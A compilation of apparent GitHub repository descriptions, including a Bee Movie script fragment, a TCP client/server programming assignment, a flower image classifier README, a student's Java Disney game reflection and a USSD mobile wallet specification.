fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Come on, already. Barry, we did it! You taught me how to fly! Yes. No high-five! Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! Thank you. But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our Last Chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, or just Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Can I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Can I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. When will this nightmare end?! Let it all go. Beautiful day to fly. Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. Thinking bee! Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Can we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I h
SOYJUN
The aim of this assignment is to have you do TCP socket client / server programming using I/O multiplexing, child processes and threads. It also aims at getting you to familiarize yourselves with the inetd superserver daemon, the ‘exec’ family of functions, various socket error scenarios, some socket options, and some basic domain name / IP address conversion functions. Apart from the material in Chapters 1 to 6 covered in class, you will also need to refer to the following : the exec family of functions (Section 4.7 of Chapter 4) using pipes for interprocess communication (IPC) in Unix error scenarios induced by process terminations & host crashes (Sections 5.11 to 5.16, Chapter 5) setsockopt function & SO_REUSEADDR socket option (Section 7.2 & pp.210-213, Chapter 7) gethostbyname & gethostbyaddr functions (Sections 11.3 & 11.4, Chapter 11) the basic structure of inetd (Section 13.5, Chapter 13) programming with threads (Sections 26.1 to 26.5, Chapter 26) Overview I shall present an overview of this assignment and discuss some of the specification details given below in class on Wednesday, September 17 & Monday, September 22. Client The client is evoked with a command line argument giving either the server IP address in dotted decimal notation, or the server domain name. The client has to be able to handle either mode and figure out which of the two is being passed to it. If it is given the IP address, it calls the gethostbyaddr function to get the domain name, which it then prints out to the user in the form of an appropriate message (e.g., ‘The server host is compserv1.cs.stonybrook.edu’). The function gethostbyname, on the other hand, returns the IP address that corresponds to a given domain name. The client then enters an infinite loop in which it queries the user which service is being requested. There are two options : echo and time (note that time is a slightly modified version of the daytime service – see below). The client then forks off a child. After the child is forked off, the parent process enters a second loop in which it continually reads and prints out status messages received from the child via a half-duplex pipe (see below). The parent exits the second loop when the child closes the pipe (how does the parent detect this?), and/or the SIGCHLD signal is generated when the child terminates. The parent then repeats the outer loop, querying the user again for the (next) service s/he desires. This cycle continues till the user responds to a query with quit rather than echo or time. The child process is the one which handles the actual service for the user. It execs (see Section 4.7, Chapter 4) an xterm to generate a separate window through which all interactions with server and user take place. For example, the following exec function call evokes an xterm, and gets the xterm to execute echocli, located in the current directory, passing the string 127.0.0.1 (assumed to be the IP address of the server) as the command line argument argv[1] to echocli (click on the url for further details) : execlp("xterm", "xterm", "-e", "./echocli", "127.0.0.1", (char *) 0) xterm executes one of two client programs (echocli or timecli, say) depending on the service requested. A client program establishes a TCP connection to the server at the ‘well-known port’ for the service (in reality, this port will, of course, be some ephemeral port of your choosing, the value of which is known to both server and client code). All interaction with the user, on the one hand, and with the server, on the other, takes place through the child’s xterm window, not the parent’s window. On the other hand, the child will use a half-duplex pipe to relay status information to the parent which the parent prints out in its window (see below).To terminate the echo client, the user can type in ^D (CTRL D, the EOF character). To terminate the time client, the only option is for the user to type in ^C (CTRL C). (This can also be used as an alternative means of terminating the echo client.) Note that using ^C in the context of the time service will give the server process the impression that the client process has ‘crashed’. It is your responsibility to ensure that the server process handles this correctly and closes cleanly. I shall address this further when discussing the server process. It is also part of your responsibility in this assignment to ensure that the client code is robust with respect to the server process crashing (see Sections 5.12 & 5.13, Chapter 5). Amongst other implications, this means that it would probably be a good idea for you to implement your echo client code along the lines of either : Figure 6.9, p.168 (or even Figure 6.13, p.174) which uses I/O multiplexing with the select function; or of Figure 26.2, p.680, which uses threads; rather than along the lines of Figure 5.5, p.125. When the child terminates, either normally or abnormally, its xterm window disappears instantaneously. Consequently, any status information that the child might want to communicate to the user should not be printed out on the child’s xterm window, since the user will not have time to see the final such message before the window disappears. Instead, as the parent forks off the child at the beginning, a half-duplex pipe should be established from child to parent. The child uses the pipe to send status reports to the parent, which the parent prints out in its window. I leave it up to you to decide what status information exactly should be relayed to the parent but, at a minimum, the parent should certainly be notified, in as precise terms as possible, of any abnormal termination conditions of the service provided by the child. In general, you should try to make your code as robust as possible with respect to handling errors, including confused behaviour by the user (e.g., passing an invalid command line argument; responding to a query incorrectly; trying to interact with the service through the parent process window, not the child process xterm; etc.). Amongst other things, you have to worry about EINTR errors occurring during slow system calls (such as the parent reading from the pipe, or, possibly, printing to stdout, for example) due to a SIGCHLD signal. What about other kinds of errors? Which ones can occur? How should you handle them? Server The server has to be able to handle multiple clients using threads (specifically, detached threads), not child processes (see Sections 26.1 to 26.4, Chapter 26). Furthermore, it has to be able to handle multiple types of service; in our case, two : echo and time. echo is just the standard echo service we have seen in class. time is a slightly modified version of the daytime service (see Figure 1.9, p.14) : instead of sending the client the ‘daytime’ just once and closing, the service sits in an infinite loop, sending the ‘daytime’, sleeping for 5 seconds, and repeating, ad infinitum. The server is loosely based on the way the inetd daemon works : see Figure 13.7, p.374. However, note that the differences between inetd and our server are probably more significant than the similarities: inetd forks off children, whereas our server uses threads; inetd child processes issue exec commands, which our server threads do not; etc. So you should treat Figure 13.7 (and Section 13.5, Chapter 13, generally) as a source of ideas, not as a set of specifications which you must slavishly adhere to and copy. Note, by the way, that there are some similarities between our client and inetd (primarily, forking off children which issue execs), which could be a useful source of ideas. The server creates a listening socket for each type of service that it handles, bound to the ‘well-known port’ for that service. It then uses select to await clients (Chapter 6; or, if you prefer, poll; note that pselect is not supported in Solaris 2.10). The socket on which a client connects identifies the service the client is seeking. The server accepts the connection and creates a thread which provides the service. The thread detaches itself. Meanwhile, the main thread goes back to the select to await further clients. A major concern when using threads is to make sure that operations are thread safe (see p.685 and on into Section 26.5). In this respect, Stevens’ readline function (in Stevens’ file unpv13e/lib/readline.c, see Figure 3.18, pp.91-92) poses a particular problem. On p.686, the authors give three options for dealing with this. The third option is too inefficient and should be discarded. You can implement the second option if you wish. Easiest of all would be the first option, since it involves using a thread-safe version of readline (see Figures 26.11 & 26.12) provided in file unpv13e/threads/readline.c. Whatever you do, remember that Stevens’ library, libunp.a, contains the non-thread-safe version of Figure 3.18, and that is the version that will be link-loaded to your code unless you undertake explicit steps to ensure this does not happen (libunp.a also contains the ‘wrapper’ function Readline, whose code is also in file unpv13e/lib/readline.c). Remaking your copy of libunp.a with the ‘correct’ version of readline is not a viable option because when you hand in your code, it will be compiled and link-loaded with respect to the version of libunp.a in the course account, ~cse533/Stevens/unpv13e_solaris2.10 (I do not intend to change that version since it risks creating confusion later on in the course). Also, you will probably want to use the original version of readline in the client code anyway. I am providing you with a sample Makefile which picks up the thread-safe version of readline from directory ~cse533/Stevens/unpv13e_solaris2.10/threads and uses it when making the executable for the server, but leaves the other executables it makes to link-load the non-thread-safe version from libunp.a. Again, it is part of your responsibility to make sure that your server code is as robust as possible with respect to errors, and that the server threads terminate cleanly under all circumstances. Recall, first of all, that the client user will often use ^C (CTRL C) in the xterm to terminate the service. This will appear to the server thread as if the client process has crashed. You need to think about the error conditions that will be induced (see Sections 5.11 to 5.13, Chapter 5), and how the echo and time server code is to detect and handle these conditions. For example, the time server will almost certainly experience an EPIPE error (see Section 5.13). How should the associated SIGPIPE signal be handled? Be aware that when we return out of the Stevens’ writen function with -1 (indicating an error) and check errno, errno is sometimes equal to 0, not EPIPE (value 32). This can happen under Solaris 2.10, but I am not sure under precisely what conditions nor why. Nor am I sure if it also happens under other Unix versions, or if it also happens when using write rather than writen. The point is, you cannot depend on errno to find out what has happened to the write or writen functions. My suggestion, therefore, is that the time server should use the select function. On the one hand, select’s timeout mechanism can be used to make the server sleep for the 5 seconds. On the other hand, select should also monitor the connection socket read event because, when the client xterm is ^C’ed, a FIN will be sent to the server TCP, which will prime the socket for reading; a read on the socket will then return with value 0 (see Figure 14.3, p. 385 as an example). But what about errors other than EPIPE? Which ones can occur? How should you handle them? Recall, as well, that if a thread terminates without explicitly closing the connection socket it has been using, the connection socket will remain existent until the server process itself dies (why?). Since the server process is supposed, in principle, to run for ever, you risk ending up with an ever increasing number of unused, ‘orphaned’ sockets unless you are careful. Whenever a server thread detects the termination of its client, it should print out a message giving appropriate details: e.g., “Client termination: EPIPE error detected”, “Client termination: socket read returned with value 0”, “Client termination: socket read returned with value -1, errno = . . .”, and so on. When debugging your server code, you will probably find that restarting the server very shortly after it was last running will give you trouble when it comes to bind to its ‘well-known ports’. This is because, when the server side initiates connection termination (which is what will happen if the server process crashes; or if you kill it first, before killing the client) TCP keeps the connections open in the TIME_WAIT state for 2MSLs (Sections 2.6 & 2.7, Chapter 2). This could very quickly become a major irritant. I suggest you explore the possibility of using the SO_REUSEADDR socket option (pp.210-213, Chapter 7; note that the SO_REUSEPORT socket option is not supported in Solaris 2.10), which should help keep the stress level down. You will need to use the setsockopt function (Section 7.2) to enable this option. Figure 8.24, p.263, shows an instance of server code that sets the SO_REUSEADDR socket option. Finally, you should be aware of the sort of problem, described in Section 16.6, pp.461-463, that might occur when (blocking) listening sockets are monitored using select. Such sockets should be made nonblocking, which requires use of the fcntl function after socket creates the socket, but before listen turns the socket into a listening socket.
mudigosa
Image Classifier Going forward, AI algorithms will be incorporated into more and more everyday applications. For example, you might want to include an image classifier in a smartphone app. To do this, you'd use a deep learning model trained on hundreds of thousands of images as part of the overall application architecture. A large part of software development in the future will be using these types of models as common parts of applications. In this project, you'll train an image classifier to recognize different species of flowers. You can imagine using something like this in a phone app that tells you the name of the flower your camera is looking at. In practice, you'd train this classifier, then export it for use in your application. We'll be using this dataset of 102 flower categories. When you've completed this project, you'll have an application that can be trained on any set of labelled images. Here your network will be learning about flowers and end up as a command line application. But, what you do with your new skills depends on your imagination and effort in building a dataset. This is the final Project of the Udacity AI with Python Nanodegree Prerequisites The Code is written in Python 3.6.5 . If you don't have Python installed you can find it here. If you are using a lower version of Python you can upgrade using the pip package, ensuring you have the latest version of pip. To install pip run in the command Line python -m ensurepip -- default-pip to upgrade it python -m pip install -- upgrade pip setuptools wheel to upgrade Python pip install python -- upgrade Additional Packages that are required are: Numpy, Pandas, MatplotLib, Pytorch, PIL and json. You can donwload them using pip pip install numpy pandas matplotlib pil or conda conda install numpy pandas matplotlib pil In order to intall Pytorch head over to the Pytorch site select your specs and follow the instructions given. Viewing the Jyputer Notebook In order to better view and work on the jupyter Notebook I encourage you to use nbviewer . You can simply copy and paste the link to this website and you will be able to edit it without any problem. Alternatively you can clone the repository using git clone https://github.com/fotisk07/Image-Classifier/ then in the command Line type, after you have downloaded jupyter notebook type jupyter notebook locate the notebook and run it. Command Line Application Train a new network on a data set with train.py Basic Usage : python train.py data_directory Prints out current epoch, training loss, validation loss, and validation accuracy as the netowrk trains Options: Set direcotry to save checkpoints: python train.py data_dor --save_dir save_directory Choose arcitecture (alexnet, densenet121 or vgg16 available): pytnon train.py data_dir --arch "vgg16" Set hyperparameters: python train.py data_dir --learning_rate 0.001 --hidden_layer1 120 --epochs 20 Use GPU for training: python train.py data_dir --gpu gpu Predict flower name from an image with predict.py along with the probability of that name. That is you'll pass in a single image /path/to/image and return the flower name and class probability Basic usage: python predict.py /path/to/image checkpoint Options: Return top K most likely classes: python predict.py input checkpoint ---top_k 3 Use a mapping of categories to real names: python predict.py input checkpoint --category_names cat_To_name.json Use GPU for inference: python predict.py input checkpoint --gpu Json file In order for the network to print out the name of the flower a .json file is required. If you aren't familiar with json you can find information here. By using a .json file the data can be sorted into folders with numbers and those numbers will correspond to specific names specified in the .json file. Data and the json file The data used specifically for this assignemnt are a flower database are not provided in the repository as it's larger than what github allows. Nevertheless, feel free to create your own databases and train the model on them to use with your own projects. The structure of your data should be the following: The data need to comprised of 3 folders, test, train and validate. Generally the proportions should be 70% training 10% validate and 20% test. Inside the train, test and validate folders there should be folders bearing a specific number which corresponds to a specific category, clarified in the json file. For example if we have the image a.jpj and it is a rose it could be in a path like this /test/5/a.jpg and json file would be like this {...5:"rose",...}. Make sure to include a lot of photos of your catagories (more than 10) with different angles and different lighting conditions in order for the network to generalize better. GPU As the network makes use of a sophisticated deep convolutional neural network the training process is impossible to be done by a common laptop. In order to train your models to your local machine you have three options Cuda -- If you have an NVIDIA GPU then you can install CUDA from here. With Cuda you will be able to train your model however the process will still be time consuming Cloud Services -- There are many paid cloud services that let you train your models like AWS or Google Cloud Coogle Colab -- Google Colab gives you free access to a tesla K80 GPU for 12 hours at a time. Once 12 hours have ellapsed you can just reload and continue! The only limitation is that you have to upload the data to Google Drive and if the dataset is massive you may run out of space. However, once a model is trained then a normal CPU can be used for the predict.py file and you will have an answer within some seconds. Hyperparameters As you can see you have a wide selection of hyperparameters available and you can get even more by making small modifications to the code. Thus it may seem overly complicated to choose the right ones especially if the training needs at least 15 minutes to be completed. So here are some hints: By increasing the number of epochs the accuracy of the network on the training set gets better and better however be careful because if you pick a large number of epochs the network won't generalize well, that is to say it will have high accuracy on the training image and low accuracy on the test images. Eg: training for 12 epochs training accuracy: 85% Test accuracy: 82%. Training for 30 epochs training accuracy 95% test accuracy 50%. A big learning rate guarantees that the network will converge fast to a small error but it will constantly overshot A small learning rate guarantees that the network will reach greater accuracies but the learning process will take longer Densenet121 works best for images but the training process takes significantly longer than alexnet or vgg16 *My settings were lr=0.001, dropoup=0.5, epochs= 15 and my test accuracy was 86% with densenet121 as my feature extraction model. Pre-Trained Network The checkpoint.pth file contains the information of a network trained to recognise 102 different species of flowers. I has been trained with specific hyperparameters thus if you don't set them right the network will fail. In order to have a prediction for an image located in the path /path/to/image using my pretrained model you can simply type python predict.py /path/to/image checkpoint.pth Contributing Please read CONTRIBUTING.md for the process for submitting pull requests. Authors Shanmukha Mudigonda - Initial work Udacity - Final Project of the AI with Python Nanodegree
delphidabbler
Preserving the final release of the SWAG collection of Pascal code and program examples from 1997
qixuanHou
Please Read Me First. This is a set of java file of my final version of electronic artifacts. This is a game to map my experience in Disney World, in Orlando during this spring break. However, because of my limited skills in computer science, I really have no idea how to simplify the process to run the game. Sorry for the inconvenience. In order to run the game, you may need to install JAVA. I hope the following links will help you. http://www.oracle.com/technetwork/java/javase/downloads/index-jsp-138363.html#javasejdk http://www.cc.gatech.edu/~simpkins/teaching/gatech/cs1331/guides/install-java.html My main file is called Disney. You can call Disney in console to start the game. However, I failed to putting all the things inside Disney file. Therefore, you may also need to call AdventureLand, MainStreet, and FrontierLand to start other three games. I hope this will help you. Sorry again for the inconvenience. 1. the structure of my project My project only focused on my trip in Magic Kingdom, one part of Disney world in Orlando. It is a game which guides players to choose from six sub-games, which match six sections of the park, Main Street U.S.A, Tomorrowland, Adventureland, Frontierland, Fantasyland and Liberty Square. I chose one of the rides I took in each section which, from my perspective, shows what I found interesting in Disney world. I changed what I experienced in the park into a small computer game. I want to share my experience with others while they play my games. In the following part of self reflection, I explain the background, rules and other things about each game. For convenience of matching them, I use different color to mark different parts. I hope it will help readers a little bit when they are lost in my disordered reflections. 1. the hall of presidents - Liberty Square 2. Festivall parade - Fantasyland (I explain this one in the part of technology skill limitations) 3. Big Thunder Mountain Railroad - Frontierland 4.talking with Woody- Adventureland 5. Stitch Store - Tomorrowland 6. lunch time - Main Street USA 3. my reflection of the trip in Disney World from dream to reality When I exited Disney resort, I found a sign along the street welcomed people back to real world. Actually, when I was in Orlando, I couldn't believe as an adult, people can mess up fantasy world in the theme parks and the real world. Nevertheless, I felt I was still in fantasy world, when I dreamed twice that I fought for the key to open the door of future. As is known to all, while sleeping, people always dream about what people thinks in the daytime. Therefore, my dream shows that my mind still stayed in the world with Mickey and Donald. I believe that it is experiencing fantasy world which is the source of the greatest happiness people get from theme park. On the one hand, everybody has pressure in real life especially for adults. They can get out of pressure for a day trip in theme park. They can experience different lives here with cartoon characters. On the other hand, sometimes, it is a really hard task to fulfill some dreams, such as being a princess. However, in Disney world, you can dress up the same as Snow White, waiting for your prince; you can go to space by rocket; you can also travel all over the world in one day and enjoy the food of each country. These are all the magic of theme parks. Therefore, in my game, I learnt the way which Disney design their rides to focus on the background story of the game instead of the game itself. For example, there is a ride called Big Thunder Mountain Railroad, which streaks through a haunted gold-mining town aboard a rollicking runaway mine train. The views around the ride were like a gold mining town. There were tools for gold-mining around the railroad and the railroad looked like very old. In order to show riders that it was a haunted gold-mining town, the train always took a sudden turn or speed up quickly to scare people. I decided to name one of my game, which was inspired by this ride, the same name, Big Thunder Mountain Railroad. Instead of sitting inside the mine train to travel around the haunted town, mine was for users to use keyboard to control the train to travel around the gridding railroad. I place traps inside several parts of gridding to "scare" players, who cannot know where traps are until they get into them. If I know how to use animation, I will show scary pictures when players drive their train to the traps. Unlike the ride in Disney, my players can no longer travel once they encounter a trap because their train may have some problems to keep moving. Also, the main goal in the game is to find the gold. However, as we know, finding gold is really hard. Therefore, players must go to find Aladdin's Wonderful lamp where also places inside the gridding while players cannot see its exact place until they happen to drive inside the part where lamp is. Aladdin's Wonderful lamp will show players the map of the gold and when people get to the gold mine, they win. However, there is another limitation of the game. Haunted town is so dangerous during the night. Therefore, players only have 12 hours to finish the task. Train can drive one square in 20 min. Therefore, train can only move 36 times or they will also be caught by traps. In this game, I want to show audiences I have a background story like rides in Disney World. Players need to find the gold in a haunted gold-mining town. Also, in order to show the relationship with Disney, I use Aladdin's Wonderful Lamp as the guide for the players, which is a well known characters in Disney cartoon. I created another game, called talking with Woody to show the magic power of Disney characters. There are a lot of chances to meet Disney characters in Disney world. On the one hand, travelers, especially small kids, are really excited to meet the characters they watched on TV. I think some kids may believe they take pictures with real Mickey Mouse. On the hand, staffs in Disney who wear the costumes are really tired. It was hot in Orlando last week, but all costumes were very heavy. I was moved by the staffs inside Mickey. They also need to mimic the actions of characters and also need to show kindness and warmness to children. It seems like a really hard job. Therefore, I decide to show this part of Disney in my project as well. I decided to use Woody, a toy all the toys look up to. He is smart, kind and brave like a cowboy should be. He is more than a top, he is friend to everyone enjoying the movie Toy. In order to create an interactive game, I planned to ask players to guide Woody. Players need to call Woody before their instructions. For instance, if players say (actually players are typing) "Woody, please sit down", Woody will sit down (actually, there will be another line on the screen showing the same as players import). However, if players are rude and just say "sit down" without calling Woody, Woody won't act (actually there is just nothing showing up on the screen). great facilities to provide convenience to everyone The facilities to satisfy needs for special groups of people, like small kids or disabled people, are well developed. In the past in China, it seemed impossible for parents to take infants and small kids to travel. The road is not flat or wide enough for strollers or wheelchairs. However, in Disney world, everything seemed like well prepared for everyone to use. There are strollers rentals, and electric conveyance vehicles rentals, which are available to rent throughout Disney world. There are baby care center for mothers to feed, change and nurse little ones. There are locker rentals for storing personal items. There are also hearing disability services which have sign language interpretation to help disabled people to enjoy fantasy world. There are still a lot other convenient services in Disney world. I think the purpose of these services show the pursue of equality among everyone in the world. On the one hand, I am really touched by the availability of these services here. It seems Disney try its best to service everyone who have desire to experience fantasy land. On the other hand, in this way, Disney can attract more travelers in order to make more money in some ways. Also, in Disney, it seems like a tradition that there are stores at the exit of the famous rides. Somebody may think it is just a strategy to make people shopping a lot. However, I think it also provides some convenience that travelers can buy souvenirs where is memorable. For example, when I finished my trip in Escape Stitch, I entered a store with a lot of kinds of Stitch, like Stitch pillow, Stitch key chain and so on. I really want to buy something in order to remind me the wonderful feelings. Therefore, I showed my opinion inside my game as well. I wrote one part is for shopping. The items are different kinds of Stitch. My codes can act as a robot to help customers to shop in the store. There are a lot of restaurants in Disney. Maps of Disney are full of restaurants' name. The greatest things about the food are in Epcot, I experienced different counties in one day. I felt like I was in fast travel in different parts of the world and tasted their special food and snacks while I was on the way. I remembered I was still eating Japanese food when I was in "Mexico". It was a great experience. However, there were always a long waiting lines for the all restaurants. People needed to reserve a table a day before their trip and even they had the reservation, they still needed to wait for a long time. I think Disney may need some good ways to fix the problems of waiting for a long time. I have no idea of changing the situation of restaurants, but I think if there are robots to customers to order in fast food restaurant, it may help a lot. Thus, I have another code to customers to order in Plaza Restaurant. If this kind of robots can work in the real life, people can order by themselves and there will be more staffs available to prepare food. theme park uses interesting ways to teach knowledge of boring topics Theme part is also a great source of learning knowledge, especially for kids. They use Disney characters, interesting shows, or even games to teach useful things. The ways change the boring knowledge to interesting things, which always attract children's attention. The most amazing one was an interactive game in Epcot's Innoventions, called "where's the fire?", which teaches adults and children basic fire safety in a fun and entertaining way. About every five minutes, the players waiting in line are divided into two groups and move into the home's entry. Here, a host will explain the object of the game and lay out the rules. The scenario is this: you are on a mission to discover a number of fire hazards commonly found around the house. To do this, you move from room to room, looking for potential risks. To help in the task, each player is given a special "safely light" to help uncover lurking dangers. The rooms are large projection screens. When a hazard is discovered, all persons in the room must shine their safety light on the same spot. when they do, the hazard is rendered harmless and points are assigned. After playing in the game to find the hazardous things in the house, I learned a lot of safety tips. It is much easier to remember the tips I learned during the game than those I learned on textbook or internet. I believe kids will enjoy the games and learn from them as well. I also tried to show this reflection in my project. Thus, I planned to make a game, called the hall of presidents, which test people's knowledge of presidents in USA. However, I failed to achieve the goal of making it an entertaining game instead of a quiz. My game was still like a quiz. However, because it is the only code which can work well inside my big game. I decide to still hold the game for my projects in order to what my original ideas are. 4. technology skill limitations I feel terribly sorry for my limited skills in CS. It is my first time to learn JAVA this semester. I just begin to learn the core concepts of JAVA this month. When I choose to use java code for this project, I know I will face plentiful limitations and problems. Here I want to express my gratitude to Dr. Johnson, who encouraged me not to give up my ideas. To be honest, I have no idea of how to change a java code into a real game with animations. I know the background story of the game is more important for English course and pictures are the best way to show the background, but I have no idea to show all these things by JAVA coding. Therefore, I choose to use videos for my presentation. In this way, I can show my animation inside the videos while the code clue of my game is still composed by JAVA coding. Also, video gives me a lot of freedom when choose my contents for presentation. I can explain a lot details of my project clearly through videos. For example, I found the festival parade in the magic kingdom was great and I wanted to share the experience in my project by showing the pictures or videos. However, because of the technology limitations, I can only show the videos in my presentations. Also, I mistakenly deleted my videos which I shot on my trip Orlando, I can only share others' parade show...... Also, I want to apologize for the incompleteness of my game. I only dedicated to writing codes for Magic Kingdom, a part of my trip during spring break. Writing codes is a really time consuming task for me. In general, I need to spend more than eight hours to finish one project for my CS assignment this semester. While for this project, the final artifacts are composed of several parts of codes and in the end I need to write the father code in order to take care of my code family for spring break. Due to my limitation in writing codes, I can only finish one part of Disney world. However, I think my code shows all my reflections and perspectives during my trip, even though it looks like it only shows one part of my trip. The terrible mistake I made is that I found out the most of my codes I wrote had significant errors on Tuesday. I went to CS TA office for help, while the errors were still impossible to fix in order to achieve the goal I planned to get. Consequently, my game have to be separated into several parts. Instead of a big game having others as sub-games inside the big one, my final artifacts are composed by several small games. I need to start them one by one. It may cause some inconvenience for players to map their trip in Disney world.
The system was developed with USSD or SMS technology to be used without limits on all modern or outdated mobile devices. The main objective is to reach the entire population by offering the most comfort possible without complications in technologies in terms of use and their monetary movements. More about this source text. The main operation is to buy your balance at any shipping point and use it at any time sending to anyone and keep your balance without moving so much. Because the thing goes like this: We have to have a main number that answers all the requests of the final client, consulting everything in a database and saving. The main task in the foreground is to get an automated server to receive messages from the subscribers to the system, their requests, and this server simultaneously processes the request for the message by responding to the requester, the requester at the same time confirms his transaction with a pin code According to the transaction, the commissions are charged in your wallet, in the same way there will be users as affiliates where they carry out their operations with their balances and the commissions are distributed between the same and the company according to the established percentage, this event must be registered in a database that will store the customer's information, then this, when made possible, must be a part of the Administration panel, to be able to see all the requests processed, the balances of the clients, their operations, a part to enable or create new clients and users by roles. A confirmation PIN must be sent from the end user, for security reasons, an encrypted PIN. Integrate payment gateway for international clients and they will use VISA to recharge their wallet. -> The user will use their VISA card to recharge their balance if it is what they have and we will have to use a gateway, NOW, nationwide, the use of cards is almost 0%, the second option for natives is: We have to add the option to create ticket and printed or small printed cards to scratch that will contain a code, for example: 1286565XXX, then once scratch and enter it, a balance is recharged, then they will have to be GENERATED with the same More about this source text. system, maintaining referential integrity and printing them. -> Okay, will you buy me scratch cards and give me cash? YES. -> Perfect, in some kiosks installed for example in the streets and commercial places. A well-organized project makes maintenance easy. Error correction. Remember business logic well. There must be a part to configure or parameterize the commissions according to the amounts to be sent. Each user must have their balance account and commissions account, these commissions must be withdrawn at any time and be transferred to their account of movements. If the user asks for a history of their transactions, it is sent to them at the same time as an Excel or PDF file. BUSINESS LOGIC: • Prices of cards to print: 10,000, 25,000, 60,000, 90,000, 125,000, 300,000. • Make the shipment the interest commission is 20% • Receive by saving in the wallet the commission is 20% interest, it is entered into your account • Receive by taking cash the commission of 20% is transferred to the effective payer. • Make payment of a bill for a service with your wallet the standard spending commission is 1,000 • Receive payment of an invoice for a paid service the standard expense commission is 1,000 • Make payment of an article or product the expense commission is 5%. • Receive payment for an item or product, the expense commission is 5%. • Buy GETESA or MUNI balance, the expense commission is 50XAF. CASES: CASE 0: REGISTER: TYPES OF USERS: SUPER_ADMIN, ADMIN, FRANCHISE_CLIETE, NORMAL_CLIENT • Send word: HELLO, respond with an image incorporated wallet + Template; CORPORATED WALLET Greetings. Your shipments, purchases earnings and wallet "You win and I win" Send: R -> Register S -> If you are already registered IF -> More information (Yes, it is the first time). FAMILY (if already registered) A. Reload. • Receive menu descriptions of services: A. Register, B. Send, C. Receive, D. Join to win, E. My balance, F. Extract, G. About us. More about CASES. • Register ok: Credit card code (mandatory), ^ Telephone number (obviously already obtained with the sms), Full name, City, PIN code, Recharge code • Verify account. CASE 1: PERFORM OPERATION: • Send word: FAMILY • Receive menu descriptions of services: AB. Recharge. B. Send, B1. Send payment for a service, C. Receive, C1. Receive service payment. D. Join to win, E. My balance, FA. Pay bills, FB. Pagar luz, F. Extract, G. About us. • Reload: Put scratch card code (purchased at any kiosk or agency) • Receive sms balance. • REFILL WITH VISA CARD: link from stripe or any payment website with OTP • Synchronize the balance of the currency or reloaded currency CASE 2: SEND: • Amount to send • Recipient phone • Balance ok? • Ask for confirmation PIN • Debit sender customer account: amount sent, amount on commission (percentage setting) • Distribute or distribute commissions: company percentage to company commissions account, sender percentage to commissions account. • Complete operation message: Sender, amount, commission, remaining balance, date CASE 3: RECEIVE: Code shipping • Sender • Amount • PIN confirmation • Operation message CASE 4: JOIN TO WIN • Send word: WIN • Request card or recharge code (credit account with higher balance) • Transform to account (FRANQUICIA_CLIETE) • Automatically establish commission percentage for sending or receiving. (SUPER ADMIN PANEL } • Ok: account info message. CASE 5: ACCOUNT INFORMATION • Send word: BALANCE or INFO • Info message: Name, balance, commissions CASE 6: WITHDRAWAL COMMISSIONS • Send keyword: DAME • Amount to withdraw • PIN confirmation • Debit commissions account • Top up main customer account. • Regularize account of commissions. • Status information. CASE 7: CHANGE PIN • Send PIN word • Change? • old PIN • New PIN • new PIN confirmation • PIN message changed successfully CASE 8 FB: PAY LIGHT • SEGESA phone • Counter code • Amount payable • PIN confirmation • Invoice in PDF • Successful payment • Debit 1000 • Automatic collection of the amount of 1000 SEGESA account • Income of the amount paid to the SEGESA account • Ge CASE 9 F: REQUEST EXTRACT • Write word: EX • Dates: Start date, End date, ALL • Excel file with transaction information. CASE 10 G: ABOUT US • Send word: CONTACT • Detailed information on the company's services and contacts. CASE 11: ADMINISTRATIVE PANEL • Statistics of operations and statuses of Chart.js accounts • Admin users • Manage clients • Receive • Send • Operations • Returns • Payments • Links • Accounts • Setting • Generate balances or scratch cards WALLET OPERATIONS. CASE 0-OB: RECEIVE PAYMENT OF A SERVICE. • Keyword: PS C1 • Ask to put amount • Ask to put a pay phone • Ask to put a description • Receive descriptive sms and send payment code automatically • Receive authorized payer code • Confirm transaction code • Apply expense commission CASE 1-OB: Make payment for a service • Receive payment code from provider • Keyword: B1 • Enter code • See payment info. • Q-> Confirm • PIN confirmation • Debit the payer account the amount • Debt account the payer commission expenses • Change transaction status. Beforehand in the future I want to consume a transaction by its code in another application and verify its effectiveness in the future with another application that I have in my fan of projects. It will be a big platform, MY VISION.
vuquangchien2208
